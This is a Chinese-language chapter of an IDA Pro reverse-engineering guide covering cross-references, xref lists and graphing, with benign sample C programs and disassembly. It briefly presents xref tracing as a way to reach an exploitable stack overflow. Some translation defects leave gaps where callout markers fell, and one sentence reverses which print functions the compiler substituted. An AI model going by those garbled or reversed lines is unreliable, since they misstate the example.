你几乎可以在所有非最简单程序中遇到复杂的数据类型。了解如何在复杂的数据结构中访问数据,以及如何识别指向这些复杂数据结构布局的线索,是逆向工程的基本技能。IDA 提供了一系列专门针对处理复杂数据结构需求的功能。熟悉这些功能将大大提高你理解正在操作哪些数据以及花更多时间理解数据和为什么被操作的能力。

在下一章中,我们在讨论 IDA 的基本功能的基础上,讨论交叉引用和绘图,然后再继续探讨 IDA 使用的更高级功能,这些功能使它区别于其他逆向工程工具。

第九章。交叉引用和绘图

无标题图片

在逆向工程二进制文件时,人们通常会问一些更常见的问题,例如“这个函数是从哪里被调用的?”和“哪些函数访问了这些数据?”这些问题以及其他类似问题旨在对程序中各种资源的引用进行编目。以下两个例子有助于说明这类问题的有用性。

考虑这种情况:你发现了一个包含可溢出栈分配缓冲区的函数,这可能导致程序被利用。由于该函数可能深埋在一个复杂的应用程序中,你的下一步可能是确定如何精确地访问该函数。除非你能让它执行,否则该函数对你来说毫无用处。这引出了问题“哪些函数调用了这个有漏洞的函数?”以及关于那些函数可能传递给有漏洞函数的数据性质的其他问题。在回溯潜在的调用链以找到可以影响以正确利用你发现的溢出的问题时,这种推理必须继续。

在另一种情况下,考虑一个包含大量 ASCII 字符串的二进制文件,其中至少有一个字符串让你感到可疑,例如“执行拒绝服务攻击!”这个字符串的存在是否表明该二进制文件实际上执行了拒绝服务攻击?不,它仅仅表明该二进制文件恰好包含那个特定的 ASCII 序列。你可能推断出,在发起攻击之前,该消息以某种方式显示出来;然而,你需要找到相关的代码来验证你的怀疑。在这里,关于“这个字符串在哪里被引用?”的问题将帮助你快速追踪使用该字符串的程序位置。从那里,也许它能帮助你定位任何实际的拒绝服务攻击代码。

IDA 通过其广泛的交叉引用功能帮助回答这些类型的问题。IDA 提供了多种机制来显示和访问交叉引用数据,包括图形生成功能,它提供了代码与数据之间关系的直观表示。在本章中,我们将讨论 IDA 提供的交叉引用信息类型、访问交叉引用数据的工具以及如何解释这些数据。

交叉引用

我们首先指出,IDA 中的交叉引用通常简单地称为 xrefs。在本文本中,我们仅在它用于指代 IDA 菜单项或对话框的内容时使用 xref。在其他所有情况下,我们将坚持使用术语 交叉引用

在 IDA 中,交叉引用分为两大类:代码交叉引用和数据交叉引用。在每个类别中,我们将详细说明几种不同类型的交叉引用。每个交叉引用都与方向的概念相关联。所有交叉引用都是从地址到地址的。 地址可以是代码地址或数据地址。如果你熟悉图论,你可以选择将地址视为有向图中的 节点,交叉引用为该图中的 。图 9-1 提供了关于图术语的快速复习。在这个简单的图中,三个节点 节点 通过两条有向边 边 连接。

基本图组件

图 9-1. 基本图组件

注意,节点也可以被称为 顶点。有向边使用箭头绘制,以指示允许穿越边的方向。在 图 9-1 中,可以从上节点到下节点中的任何一个节点进行旅行,但不可能从下节点中的任何一个节点到上节点进行旅行。

代码交叉引用是一个非常重要的概念,因为它们有助于 IDA 生成 控制流图函数调用图,这些内容我们将在本章后面进行讨论。

在我们深入交叉引用的细节之前,了解 IDA 在反汇编列表中如何显示交叉引用信息是有用的。图 9-2 显示了包含交叉引用作为常规注释(图右侧)的反汇编函数(sub_401000)的标题行。

基本交叉引用

图 9-2. 基本交叉引用

文本 CODE XREF 表示这是一个代码交叉引用,而不是数据交叉引用 (DATA XREF)。后面跟着一个地址,例如 _main+2A,表示交叉引用的起始地址。请注意,这比例如 .text:0040154A 这样的地址形式更具描述性。虽然这两种形式表示的是相同的程序位置,但交叉引用中使用的格式提供了额外的信息,即交叉引用是从名为 _main 的函数内部进行的,具体在 _main 函数的 0x2A(42)字节处。地址后面总是跟着一个上箭头或下箭头,表示相对于引用位置的方向。在 图 9-2 中,下箭头表示 _main+2A 的地址高于 sub_401000,因此你需要向下滚动才能到达它。同样,上箭头表示引用位置位于较低的内存地址,需要向上滚动才能到达它。最后,每个交叉引用注释都包含一个单字符后缀,用于标识正在进行的交叉引用类型。每个后缀将在我们详细说明 IDA 的所有交叉引用类型时进行描述。

代码交叉引用

代码交叉引用用于指示指令将控制权转移到另一条指令或可能转移到另一条指令。指令转移控制的方式在 IDA 中被称为 流程。IDA 区分三种基本流程类型:普通跳转调用。跳转和调用流程根据目标地址是近地址还是远地址进一步细分。远地址仅在使用分段地址的二进制文件中遇到。在下面的讨论中,我们将使用以下程序的反汇编版本:

int read_it;            //integer variable read in main
int write_it;           //integer variable written 3 times in main
int ref_it;             //integer variable whose address is taken in main

void callflow() {}      //function called twice from main

int main() {
   int *p = &ref_it;    //results in an "offset" style data reference
   *p = read_it;        //results in a "read" style data reference
   write_it = *p;       //results in a "write" style data reference
   callflow();          //results in a "call" style code reference
   if (read_it == 3) {  //results in "jump" style code reference
      write_it = 2;     //results in a "write" style data reference
   }
   else {               //results in an "jump" style code reference
      write_it = 1;     //results in a "write" style data reference
   }
   callflow();          //results in an "call" style code reference
}

程序包含将测试 IDA 所有交叉引用功能的操作,如注释文本所述。

普通流程 是最简单的流程类型,它表示从一条指令到另一条指令的顺序流程。这是所有非分支指令(如 ADD)的默认执行流程。除了指令在反汇编中的顺序外,普通流程没有特殊的显示指示符。如果指令 A 有到指令 B 的普通流程,那么指令 B 将立即跟在指令 A 的反汇编列表中。在下面的列表中,除了 之外的所有指令都有一个与其直接后继指令关联的普通流程:

示例 9-1. 交叉引用源和目标

.text:00401010 _main           proc near
  .text:00401010
  .text:00401010 p               = dword ptr −4
  .text:00401010
  .text:00401010                 push    ebp
  .text:00401011                 mov     ebp, esp
  .text:00401013                 push    ecx
  .text:00401014                mov     [ebp+p], offset ref_it
  .text:0040101B                 mov     eax, [ebp+p]
  .text:0040101E                mov     ecx, read_it
  .text:00401024                 mov     [eax], ecx
  .text:00401026                 mov     edx, [ebp+p]
  .text:00401029                 mov     eax, [edx]
  .text:0040102B                mov     write_it, eax
  .text:00401030                call    callflow
  .text:00401035                cmp     read_it, 3
  .text:0040103C                 jnz     short loc_40104A
  .text:0040103E                mov     write_it, 2
  .text:00401048                jmp     short loc_401054

 .text:0040104A ; -------------------------------------------------------------
  .text:0040104A
  .text:0040104A loc_40104A:                         ; CODE XREF: _main+2C↑j
  .text:0040104A                mov     write_it, 1
  .text:00401054
  .text:00401054 loc_401054:                         ; CODE XREF: _main+38↑j
  .text:00401054                call    callflow
  .text:00401059                 xor     eax, eax
    .text:0040105B                 mov     esp, ebp
  .text:0040105D                 pop     ebp
  .text:0040105E                retn
  .text:0040105E _main           endp

用于调用函数的指令,如处的 x86 call指令,分配了一个调用流程,表示控制流转移到目标函数。在大多数情况下,也会为call指令分配普通流程,因为大多数函数会返回到call之后的地址。如果 IDA 认为函数不会返回(在分析阶段确定),则不会为该函数的调用分配普通流程。调用流程通过在目标函数(流程的目的地址)处显示交叉引用来标记。此处显示了callflow函数的相应反汇编代码:

.text:00401000 callflow        proc near               ; CODE XREF: _main+20↓p
.text:00401000                                         ; _main:loc_401054↓p
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 pop     ebp
.text:00401004                 retn
.text:00401004 callflow        endp

在此示例中,在callflow地址处显示了两个交叉引用,以指示该函数被调用两次。交叉引用中显示的地址显示为调用函数中的偏移量,除非调用地址有一个关联的名称,在这种情况下使用该名称。这两种地址形式都用于此处显示的交叉引用中。通过使用p后缀(想想P代表Procedure)来区分函数调用产生的交叉引用。

每个无条件和有条件分支指令都分配了一个跳转流程。有条件分支也分配了普通流程,以考虑分支不被采取时的控制流。无条件分支没有关联的普通流程,因为在这种情况下分支总是被采取。在处的虚线线断是用于指示两个相邻指令之间不存在普通流程的显示设备。跳转流程与在跳转目标处显示的跳转样式交叉引用相关联,如图所示。与调用样式交叉引用一样,跳转交叉引用显示引用位置(跳转的源)的地址。跳转交叉引用通过使用j后缀(想想J代表Jump)来区分。

数据交叉引用

数据交叉引用用于跟踪数据在二进制文件中的访问方式。数据交叉引用可以与 IDA 数据库中与虚拟地址关联的任何字节相关联(换句话说,数据交叉引用永远不会与栈变量相关联)。最常遇到的三种数据交叉引用类型用于指示何时读取位置、何时写入位置以及何时获取位置地址。此处显示了与先前示例程序相关联的全局变量,因为它们提供了多个数据交叉引用的示例。

.data:0040B720 read_it       dd ?                    ; DATA XREF: _main+E↑r
.data:0040B720                                       ; _main+25↑r
.data:0040B724 write_it      dd ?                    ; DATA XREF: _main+1B↑w
.data:0040B724                                      ; _main+2E↑w ...
.data:0040B728 ref_it        db    ? ;               ; DATA XREF: _main+4↑o
.data:0040B729               db    ? ;
.data:0040B72A               db    ? ;
.data:0040B72B               db    ? ;

读取交叉引用 用于指示正在访问内存位置的 内容。读取交叉引用只能从指令地址起源,但可以引用任何程序位置。全局变量 read_it 在 示例 9-1 中标记的位置 被读取。此列表中显示的关联交叉引用注释确切地表明了 main 中哪些位置引用了 read_it,并且根据使用 r 后缀可以识别为读取交叉引用。对 read_it 执行的第一个读取操作是将 32 位读取到 ECX 寄存器中,这使得 IDA 将 read_it 格式化为 dword (dd)。一般来说,IDA 尽可能多地获取线索,以确定变量的大小和/或类型,这些线索基于它们如何被访问以及它们如何作为函数的参数使用。

全局变量 write_it 在 示例 9-1 中标记的位置 被引用。相关的 写入交叉引用 被生成并显示为 write_it 变量的注释,指示修改变量内容的程序位置。写入交叉引用使用 w 后缀。同样,IDA 根据事实,32 位 EAX 寄存器被复制到 write_it 中,确定了变量的大小。请注意,显示在 write_it 上的交叉引用列表以省略号 ( 上方) 结尾,表示对 write_it 的交叉引用数量超过了当前显示的交叉引用限制。此限制可以通过在选项 ▸ 通用对话框的交叉引用选项卡上的“显示的 xrefs 数量”设置中修改。与读取交叉引用一样,写入交叉引用只能从程序指令起源,但可以引用任何程序位置。一般来说,针对程序指令字节的写入交叉引用表明是自修改代码,这通常被认为是不良的编程习惯,并且在恶意软件中使用的去混淆例程中经常遇到。

第三种数据交叉引用类型,即 偏移量交叉引用,表明正在使用位置的地址(而不是位置的 内容)。全局变量 ref_it 的地址在 示例 9-1 中的位置 被取用,导致在前面列表中的 ref_it 处出现偏移量交叉引用注释(后缀 o)。偏移量交叉引用通常是代码或数据中指针操作的结果。例如,数组访问操作通常通过向数组的起始地址添加偏移量来实现。因此,大多数全局数组中的第一个地址通常可以通过偏移量交叉引用的存在来识别。因此,大多数字符串数据(在 C/C++ 中字符串是字符数组)是偏移量交叉引用的目标。

与只能从指令位置起源的读取和写入交叉引用不同,偏移量交叉引用可以来自指令位置或数据位置。一个可以从程序的数据部分起源的偏移量示例是任何指针表(如虚表),它从表中的每个位置生成到那些位置所指向位置的偏移量交叉引用。如果你检查来自 第八章 的 SubClass 类的虚表,其反汇编代码如下所示,你可以看到这一点:

.rdata:00408148 off_408148  dd offset SubClass::vfunc1
(void) ; DATA XREF: SubClass::SubClass(void)+12↑o
.rdata:0040814C          dd offset BaseClass::vfunc2(void)
.rdata:00408150          dd offset SubClass::vfunc3(void)
.rdata:00408154          dd offset BaseClass::vfunc4(void)
.rdata:00408158          dd offset SubClass::vfunc5(void)

在这里,你可以看到在函数 SubClass::SubClass(void) 中使用了虚表地址,该函数是类的构造函数。函数 SubClass::vfunc3(void) 的头文件,如这里所示,显示了将函数与虚表链接的偏移量交叉引用。

.text:00401080 public: virtual void __thiscall SubClass::vfunc3(void) proc near
.text:00401080                                      ; DATA XREF: .rdata:00408150↓o

这个例子演示了 C++ 虚拟函数的一个特性,当与偏移量交叉引用结合时变得非常明显,即 C++ 虚拟函数永远不会直接调用,也不应该是调用交叉引用的目标。相反,所有 C++ 虚拟函数至少应该通过一个虚表条目来引用,并且始终应该是至少一个偏移量交叉引用的目标。记住,重写虚拟函数不是强制性的。因此,虚拟函数可以出现在多个虚表中,如 第八章 中讨论的那样。回溯偏移量交叉引用是轻松定位程序数据部分中 C++ 虚表的技巧之一。

交叉引用列表

理解了什么是交叉引用之后,我们现在可以讨论如何在 IDA 中访问所有这些数据的方式。如前所述,在特定位置可以显示的交叉引用注释数量受配置设置的限制,默认值为 2。只要对位置的交叉引用数量不超过此限制,那么处理这些交叉引用就相当直接。将鼠标悬停在交叉引用文本上会在工具提示样式中显示源区域的反汇编,而双击交叉引用地址会将反汇编窗口跳转到交叉引用的源。

查看位置所有交叉引用的完整列表有两种方法。第一种方法是打开与特定地址关联的交叉引用子视图。通过将光标定位在一个是或多个交叉引用的目标地址上,并选择“查看”▸“打开子视图”▸“交叉引用”,你可以打开给定位置的完整交叉引用列表,如图 9-3 所示,它显示了变量write_it的完整交叉引用列表。

交叉引用显示窗口

图 9-3. 交叉引用显示窗口

窗口的列表示交叉引用源的方向(向上或向下),交叉引用的类型(使用之前讨论的类型后缀),交叉引用的源地址,以及源地址处的相应反汇编文本,包括可能存在的任何注释。与其他显示地址列表的窗口一样,双击任何条目会将反汇编显示重新定位到相应的源地址。一旦打开,交叉引用显示窗口将保持打开状态,并且可以通过显示在反汇编区域上方每个其他打开子视图标题标签旁边的标题标签访问。

访问交叉引用列表的第二种方式是突出显示你感兴趣了解的名称,并选择“跳转”▸“跳转到 xref”(快捷键 ctrl-X)以打开一个对话框,该对话框列出所有引用所选符号的位置。如图 9-4 所示的对话框在外观上几乎与图 9-3 中显示的交叉引用子视图相同。在这种情况下,对话框是通过使用 ctrl-X 快捷键并选择write_it.text:0040102B)的第一个实例来激活的。

跳转到交叉引用对话框

图 9-4. 跳转到交叉引用对话框

这两个显示的主要区别在于行为。作为一个模态对话框,^([52]) 图 9-4 Figure 9-4 中的显示有按钮可以与之交互并终止对话框。此对话框的主要目的是选择引用位置并跳转到该位置。双击列表中的任何一个位置将关闭对话框并将反汇编窗口重新定位到所选位置。对话框与交叉引用子视图之间的第二个区别是,前者可以通过热键或上下文相关菜单从任何符号实例打开,而后者只能在将光标定位在交叉引用的目标地址上并选择视图 ▸ 打开子视图 ▸ 交叉引用时打开。另一种思考方式是,对话框可以在任何交叉引用的源处打开,而子视图只能在交叉引用的目的地打开。

交叉引用列表的有用性之一可能是快速定位调用特定函数的所有位置。许多人认为使用 C 语言的strcpy^([53])函数是危险的。使用交叉引用,找到对strcpy的所有调用就像找到对strcpy的任何一次调用一样简单,使用 ctrl-X 热键调出交叉引用对话框,然后逐个处理每个调用交叉引用。如果您不想花时间在二进制文件中找到使用strcpy的位置,甚至可以添加包含文本strcpy的注释并激活交叉引用对话框。^([54])

函数调用

通过选择视图 ▸ 打开子视图 ▸ 函数调用,可以获得一个专门处理函数调用的交叉引用列表。图 9-5 Figure 9-5 显示了生成的对话框,该对话框在上半部分窗口中列出调用当前函数(在打开视图时由光标位置定义)的所有位置,在下半部分窗口中列出当前函数的所有调用。

函数调用窗口

图 9-5. 函数调用窗口

在这里,每个列出的交叉引用都可以用来快速将反汇编列表重新定位到相应的交叉引用位置。仅考虑函数调用交叉引用,我们可以考虑比从地址到地址的简单映射更抽象的关系,并考虑函数之间的关系。在下一节中,我们将展示 IDA 如何利用这一点,通过提供几种类型的图表来帮助您解释二进制文件。


^([52]) 在您继续与底层应用程序的正常交互之前,必须关闭模态对话框。无模式对话框可以在您继续与应用程序的正常交互时保持打开状态。

^([53]) C strcpy 函数将字符源数组(包括相关的空终止字符)复制到目标数组,而不会检查目标数组是否足够大以容纳所有来自源数组的字符。

^([54]) 当符号名称出现在注释中时,IDA 将该符号视为反汇编指令中的操作数。双击符号将重新定位反汇编窗口,并可用右键点击的上下文相关菜单。

IDA 图表功能

由于交叉引用关联一个地址到另一个地址,如果我们想为我们的二进制文件制作图表,它们是一个自然的选择点。通过限制自己到特定的交叉引用类型,我们可以推导出许多有用的图表来分析我们的二进制文件。首先,交叉引用作为我们图表中的边(连接点的线条)。根据我们希望生成的图表类型,单独的节点(图表中的点)可以是单个指令、称为 基本块 的指令组,或整个函数。IDA 有两个不同的图表功能:一个是利用捆绑的图表应用程序的外部图表功能,另一个是集成、交互式的图表功能。这两个图表功能将在以下章节中介绍。

IDA 外部(第三方)图表

IDA 的外部图表功能利用第三方图表应用程序来显示 IDA 生成的图表文件。对于 6.1 版本之前的 Windows 版本,IDA 随附一个名为 wingraph32 的捆绑图表应用程序。^([55]) 对于 IDA 6.0 版本,非 Windows 版本的 IDA 默认配置为使用 dotty^([56)) 图表查看器。从 IDA 6.1 版本开始,所有版本的 IDA 都随附并配置为使用 qwingraph^([57)) 图表查看器,这是一个 wingraph32 的跨平台 Qt 版本。虽然 Linux 用户仍然可以看到 dotty 配置选项,但它们默认被注释掉。IDA 使用的图表查看器可以通过编辑 /cfg/ida.cfg 中的 GRAPH_VISUALIZER 变量来配置。

每次请求外部样式图形时,都会生成图形的源并将其保存到临时文件中;然后启动指定的第三方图形查看器以显示图形。IDA 支持两种图形规范语言,即图描述语言^([58)(GDL)和由 graphviz^([59)项目使用的 DOT^([60)语言。IDA 使用的图形规范语言可以通过编辑 /cfg/ida.cfg 中的 GRAPH_FORMAT 变量来配置。此变量的有效值是 DOTGDL。您必须确保此处指定的语言与您在 GRAPH_VISUALIZER 中指定的查看器兼容。

可以从“视图 ▸ 图形”子菜单生成五种类型的图形。可用的外部模式图形包括以下几种:

  • 函数流程图

  • 整个二进制的调用图

  • 符号交叉引用的图

  • 从符号到交叉引用的图

  • 定制的交叉引用图

对于其中的两种,流程图和调用图,IDA 能够生成并保存 GDL(非 DOT)文件,以便独立于 IDA 使用。这些选项可以在“文件 ▸ 生成文件”子菜单中找到。如果您的配置图形查看器允许您保存当前显示的图形,则可能可以保存其他类型图形的规范文件。处理任何外部图形时都存在一些限制。首先,外部图形不是交互式的。显示的外部图形的操纵受您选择的图形查看器功能限制(通常只有缩放和平移)。

基本块

在计算机程序中,一个基本块是由一个或多个指令组成的集合,这些指令从块的开头有一个单一的入口,从块的末尾有一个单一的出口。一般来说,除了最后一个指令外,基本块内的每个指令都将控制权传递给块内的一个精确的后继指令。同样,除了第一个指令外,基本块内的每个指令都从块内的一个精确的前驱指令接收控制权。为了确定基本块的目的,通常忽略函数调用指令将控制权转移到当前函数之外的事实,除非已知被调用的函数无法正常返回。基本块的一个重要行为特征是,一旦基本块中的第一条指令被执行,该块剩余的部分将保证执行完成。这可以在程序的运行时仪器中起到重要作用,因为不再需要在程序中的每个指令上设置断点,甚至不需要单步执行程序以记录哪些指令已执行。相反,可以在每个基本块的第一条指令上设置断点,并且每当遇到一个断点时,其相关块中的每个指令都可以标记为已执行。Pedram Amini 的 PaiMei 框架的 Process Stalker 组件正是以这种方式运行的。

外部流程图

当光标位于一个函数内时,选择“视图”▸“图形”▸“流程图”(快捷键 F12)可以生成并显示一个外部流程图。流程图显示的是最接近 IDA 集成图形反汇编视图的外部图形。这些流程图并不是你在入门编程课程中学到的那些。相反,这些图可能更准确地被称为“控制流图”,因为它们将函数的指令分组到基本块中,并使用边来指示从一个块到另一个块的流动。

图 9-6 显示了相对简单函数的流程图的一部分。正如你所看到的,外部流程图在地址信息方面提供得非常少,这可能会使得将流程图视图与其对应的反汇编列表相关联变得困难。

外部流程图

图 9-6. 外部流程图

流程图图是通过跟踪函数中每个指令的常规和跳转流动得到的,从函数的入口点开始。

外部调用图

函数调用图对于快速了解程序内部函数调用的层次结构非常有用。调用图是通过为每个函数创建一个图节点,然后根据一个函数到另一个函数的调用交叉引用的存在来连接函数节点生成的。为单个函数生成调用图的过程可以看作是通过对从初始函数调用的所有函数进行递归下降来实现的。在许多情况下,一旦达到库函数,就可以停止向下遍历调用树,因为通过阅读与库相关的文档来了解库函数的操作比尝试逆向工程函数的编译版本要容易得多。实际上,在动态链接的二进制文件的情况下,由于这些函数的代码不包含在动态链接的二进制文件中,因此不可能向下遍历库函数。在生成图时,静态链接的二进制文件提出了不同的挑战。由于静态链接的二进制文件包含了已链接到程序的所有库的代码,相关的函数调用图可能会变得非常大。

为了讨论函数调用图,我们使用以下简单的程序,该程序除了创建一个简单的函数调用层次结构外,不做任何其他事情:

#include <stdio.h>

void depth_2_1() {
   printf("inside depth_2_1\n");
}

void depth_2_2() {
   fprintf(stderr, "inside depth_2_2\n");
}

void depth_1() {
   depth_2_1();
   depth_2_2();
   printf("inside depth_1\n");
}

int main() {
   depth_1();
}

在使用 GNU gcc 编译动态链接的二进制文件后,我们可以要求 IDA 通过“视图”>“图形”>“函数调用”生成函数调用图,这应该会产生与图 9-7 中显示的图相似的图。在这种情况下,我们略微截断了图的左侧,以便提供更多细节。图中的圆形区域显示了与main函数相关的调用图。

外部函数调用图

图 9-7. 外部函数调用图

警惕的读者可能会注意到,编译器已经将putsfwrite的调用分别替换为printffprintf,因为它们在打印静态字符串时更有效。请注意,IDA 使用不同的颜色来表示图中不同类型的节点,尽管这些颜色不能以任何方式配置。^([62])

考虑到前一个程序列表的简单性,为什么图看起来比应有的拥挤了两倍?答案是编译器,就像几乎所有编译器一样,已经插入了负责库初始化和终止以及正确配置参数以便将控制权传递给main函数的包装代码。

尝试为相同的程序生成静态链接版本的结果是图 9-8 中显示的糟糕混乱。

图 9-8 中的图演示了一般外部图的行为,即它们最初总是按比例缩放以显示整个图,这可能导致非常杂乱的显示。对于这个特定的图,WinGraph32 窗口底部的状态栏指示有 946 个节点和 10,125 条边在 100,182 个位置交叉。除了演示静态链接二进制的复杂性之外,这个图几乎无法使用。无论怎样缩放和滚动,都无法简化这个图,而且除此之外,除了通过读取每个节点的标签外,没有简单的方法可以轻松定位到特定的函数,如main。在你足够放大以能够读取与每个节点关联的标签之前,只有几十个节点可以显示在屏幕上。

静态链接二进制中的函数调用图

图 9-8. 静态链接二进制中的函数调用图

外部交叉引用图

对于全局符号(函数或全局变量),可以生成两种交叉引用图:符号的交叉引用(查看 ▸ 图表 ▸ 交叉引用到)和从符号的交叉引用(查看 ▸ 图表 ▸ 交叉引用从)。要生成交叉引用到图,通过回溯所有指向所选符号的交叉引用,执行递归上升,直到达到没有其他符号引用的符号。在分析二进制文件时,可以使用交叉引用到图来回答“必须调用哪些序列才能到达这个函数?”的问题。图 9-9 展示了使用交叉引用到图来显示到达puts函数的路径。

交叉引用到图

图 9-9. 交叉引用到图

类似地,交叉引用到图可以帮助你可视化所有引用全局变量的位置以及到达这些位置所需的函数调用链。交叉引用图是唯一能够包含数据交叉引用信息的图。

为了创建交叉引用从图,通过跟随从所选符号的交叉引用执行递归下降。如果符号是函数名,则只跟随函数的调用引用,因此全局变量的数据引用不会显示在图中。如果符号是一个初始化的全局指针变量(意味着它实际上指向某个东西),则跟随相应的数据偏移交叉引用。当你从函数中绘制交叉引用时,有效行为是以所选函数为根的函数调用图,如图 9-10 所示。

不幸的是,当使用复杂的调用图绘制函数时,同样存在杂乱的图形问题。

Xrefs From 图

图 9-10. Xrefs From 图

自定义交叉引用图

自定义交叉引用图,在 IDA 中称为用户交叉引用图表,在生成交叉引用图以满足您的需求方面提供了最大的灵活性。除了将符号的交叉引用和从符号的交叉引用组合到单个图中之外,自定义交叉引用图还允许您指定最大递归深度以及应包含或排除在结果图中的符号类型。

查看 ▸ 图形 ▸ 用户交叉引用图表将打开显示在图 9-11 中的图形自定义对话框。在指定的地址范围内出现的每个全局符号都作为结果图中的一个节点出现,该图是根据对话框中指定的选项构建的。在最常见的情况下,从单个符号生成交叉引用时,起始地址和结束地址是相同的。如果起始地址和结束地址不同,则生成的结果图将包括在指定范围内出现的所有非局部符号。在极端情况下,起始地址是数据库中的最低地址,而结束地址是数据库中的最高地址,结果图退化到整个二进制的函数调用图。

用户交叉引用图对话框

图 9-11. 用户交叉引用图对话框

在图 9-11 中选择的选项代表所有自定义交叉引用图的默认选项。以下是对每组选项目的的描述:

起始方向

选项允许您决定是否从所选符号搜索交叉引用,到所选符号,或两者都搜索。如果所有其他选项都保留在默认设置,将起始方向限制为交叉引用会导致 Xrefs To 风格的图形,而将方向限制为交叉引用则生成 Xrefs From 风格的图形。

参数

递归选项启用从所选符号的递归下降(Xrefs From)或上升(Xrefs To)。仅跟随当前方向强制任何递归只在一个方向上发生。换句话说,如果选择此选项,并且发现节点 B 可以从节点 A 访问,则递归下降到 B 会添加只能从节点 B 访问的附加节点。指向节点 B 的新发现的节点将不会添加到图中。如果您选择取消选择仅跟随当前方向,那么当选择两个起始方向时,每个添加到图中的新节点将在两个方向上递归。

递归深度

此选项设置最大递归深度,对于限制生成的图形大小很有用。设置为-1 会导致递归尽可能深,并生成最大的图形。

忽略

这些选项指定将排除哪些类型的节点从生成的图形中。这是限制结果图形大小的另一种方法。特别是,忽略库函数的交叉引用可以导致静态链接二进制文件中的图形大大简化。关键是确保 IDA 尽可能多地识别库函数。库代码识别是第十二章的主题。

打印选项

这些选项控制图形格式的两个方面。打印注释会导致任何函数注释包含在函数的图形节点中。如果选择打印递归点,并且递归会超过指定的递归限制,则显示包含省略号的节点,以指示可以进一步递归。

图 9-12 显示了在我们的示例程序中使用默认选项和递归深度为 1 为函数depth_1生成的自定义交叉引用图。

用户函数深度 _1 的引用图

图 9-12。用户函数depth_1的引用图

用户生成的交叉引用图是 IDA 中可用的最强大的外部模式图形功能。外部流程图在很大程度上已被 IDA 的集成基于图形的反汇编视图所取代,而剩余的外部图形类型只是用户生成的交叉引用图的预定义版本。

IDA 的集成图形视图

在 5.0 版本中,IDA 引入了一个长期期待的基于图形的交互式反汇编视图,该视图紧密集成到 IDA 中。如前所述,集成图形模式提供了对标准文本式反汇编列表的替代接口。在图形模式下,反汇编函数以类似于外部风格流程图的控制流图形式显示。由于使用了面向函数的控制流图,因此在图形模式下一次只能显示一个函数,并且图形模式不能用于任何函数之外的指令。对于需要同时查看多个函数或需要查看不属于函数的指令的情况,您必须回到基于文本的反汇编列表。

我们在第五章中详细介绍了图形视图的基本操作,但在此处我们重申几个要点。在文本视图和图形视图之间切换是通过按空格键或在反汇编窗口的任何位置右键单击并选择适当的文本视图或图形视图来完成的。在图形视图中平移的最简单方法是单击图形视图的背景并按适当方向拖动图形。对于大型图形,您可能会发现使用图形概览窗口平移更容易。图形概览窗口始终在反汇编窗口当前显示的图形部分周围显示一个虚线矩形。在任何时候,您都可以单击并拖动虚线矩形来重新定位图形显示。因为图形概览窗口显示整个图形的缩略图,所以使用它进行平移消除了在反汇编窗口中平移大型图形时需要不断释放鼠标按钮并重新定位鼠标的需求。

在图形模式和文本模式下操作反汇编之间没有显著差异。双击导航继续按您预期的方式工作,导航历史记录列表也是如此。每次您导航到不在函数内(例如全局变量)的位置时,显示将自动切换到文本模式。一旦您导航回函数,图形模式将自动恢复。访问堆变量与文本模式相同,总结堆视图显示在显示函数的根基本块中。通过双击任何堆变量可以访问详细的堆栈帧视图,就像在文本模式中一样。所有在文本模式中格式化指令操作数的选项仍然可用,并且在图形模式中以相同的方式访问。

与图形模式相关的用户界面主要变化涉及处理单个图形节点。图 9-13显示了简单的图形节点及其相关的标题栏按钮控件。

典型的扩展图形视图节点

图 9-13. 典型的扩展图形视图节点

从左到右,节点标题栏上的三个按钮允许您更改节点的背景颜色、分配或更改节点的名称,以及访问节点的交叉引用列表。给节点上色是一种有用的方式,可以提醒自己已经分析过该节点,或者简单地使其从其他节点中脱颖而出,可能是因为它包含特别感兴趣的代码。一旦您为节点分配了颜色,该颜色也将用作文本模式下相应指令的背景颜色。要轻松去除任何上色,右键单击节点标题栏并选择将节点颜色设置为默认

在图 9-13 的标题栏中间按钮用于为节点基本块的第一条指令的地址分配一个名称。由于基本块通常是跳转指令的目标,许多节点可能已经因为被跳转交叉引用而分配了一个虚拟名称。然而,基本块在未分配名称的情况下开始也是可能的。考虑以下代码行:

.text:00401041               jg      short loc_401053
.text:00401043               mov     ecx, [ebp+arg_0]

图处的指令有两个潜在的后续指令,loc_401053图处的指令。因为它有两个后续指令,图必须终止一个基本块,这导致图成为新基本块中的第一条指令,即使它没有被显式地作为跳转的目标,因此没有分配虚拟名称。

在图 9-13 的标题栏最右侧按钮用于访问指向节点的交叉引用列表。由于在图形模式下默认不显示交叉引用注释,这是访问和导航到任何引用节点的最简单方式。与之前讨论的交叉引用列表不同,生成的节点交叉引用列表还包含一个普通流程进入节点的条目(由类型^指定)。这是必需的,因为在图形视图中,给定节点的前驱节点不总是显而易见的。如果您希望在图形模式下查看正常的交叉引用注释,请转到“选项”▸“常规”下的交叉引用标签,并将显示的 xrefs 选项设置为非零值。

图形中的节点可以自行或与其他节点一起分组,以减少图形中的部分杂乱。要分组多个节点,请按住 Ctrl 键点击要分组的每个节点的标题栏,然后右键点击任何选定节点的标题栏并选择分组节点。您将被提示输入一些文本(默认为组中的第一条指令)以在折叠节点中显示。图 9-14 显示了将图 9-13 中的节点分组并更改节点文本为“折叠节点演示”的结果。

典型的折叠(分组)图视图节点

图 9-14. 典型的折叠(分组)图视图节点

注意,标题栏现在有两个额外的按钮。从左到右顺序,这些按钮允许你展开(展开)分组节点并编辑节点文本。展开一个节点只是将组内的节点展开到其原始形式;它不会改变节点或节点现在属于一个组的事实。当组展开时,前面提到的两个新按钮被移除,并替换为单个“折叠组”按钮。可以使用“折叠组”按钮或通过右键单击组中任何节点的标题栏并选择“隐藏组”来轻松地再次折叠展开的组。要完全移除应用于一个或多个节点的分组,必须右键单击折叠节点的标题栏或参与未展开的节点之一,并选择取消分组节点。此操作的一个副作用是,如果组当时是折叠的,则会展开组。


^([55]) Hex-Rays 在 www.hex-rays.com/idapro/freefiles/wingraph32_src.zip 提供了 wingraph32 的源代码。

^([56]) dotty 是图形可视化工具,它是图形可视化项目的一部分。

^([57]) Hex-Rays 在 www.hex-rays.com/idapro/freefiles/qwingraph_src.zip 提供了 qwingraph 的源代码。

^([58]) GDL 参考信息可在 www.absint.com/aisee/manual/windows/node58.html 找到。

^([59]) DOT 参考信息可在 www.graphviz.org/doc/info/lang.html 找到。

^([60]) 请参阅 www.graphviz.org/

^([61]) 请参阅 pedram.redhive.com/code/paimei/

^([62]) 本章中展示的图形已在 IDA 之外进行编辑,以去除节点着色,以提高可读性。

摘要

